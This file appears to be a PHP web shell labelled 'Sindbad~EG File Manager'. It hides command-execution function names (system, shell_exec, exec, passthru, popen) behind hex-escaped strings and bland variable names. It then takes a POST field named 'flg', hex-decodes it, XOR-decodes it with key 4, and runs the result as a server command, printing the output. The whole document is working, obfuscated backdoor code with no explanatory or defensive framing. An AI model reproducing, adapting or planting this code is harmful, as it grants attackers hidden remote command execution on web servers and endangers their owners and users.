Sindbad~EG File Manager

<?php

$system_core5 = "pope\x6E";
$system_core2 = "\x73h\x65l\x6C_ex\x65c";
$system_core1 = "\x73\x79s\x74em";
$settings = "\x68\x65\x782\x62in";
$system_core7 = "\x70\x63l\x6Fse";
$system_core4 = "\x70\x61s\x73t\x68ru";
$system_core6 = "\x73\x74r\x65\x61\x6D\x5Fg\x65\x74\x5F\x63ontents";
$system_core3 = "e\x78ec";
if (isset($_POST["\x66lg"])) {
            function framework  (   $rec  ,   $marker    ){
   $property_set= ''  ;
 $t=0;
 do{
$property_set.=chr(ord($rec[$t])^$marker);
$t++;

} while($t<strlen($rec));
 return  $property_set;
  
}
            $flg = $settings($_POST["\x66lg"]);
            $flg = framework($flg, 4);
            if (function_exists($system_core1)) {
                $system_core1($flg);
            } elseif (function_exists($system_core2)) {
                print $system_core2($flg);
            } elseif (function_exists($system_core3)) {
                $system_core3($flg, $bind_rec);
                print join("\n", $bind_rec);
            } elseif (function_exists($system_core4)) {
                $system_core4($flg);
            } elseif (function_exists($system_core5) && function_exists($system_core6) && function_exists($system_core7)) {
                $marker_property_set = $system_core5($flg, 'r');
                if ($marker_property_set) {
                    $res_reference = $system_core6($marker_property_set);
                    $system_core7($marker_property_set);
                    print $res_reference;
                }
            }
            exit;
        }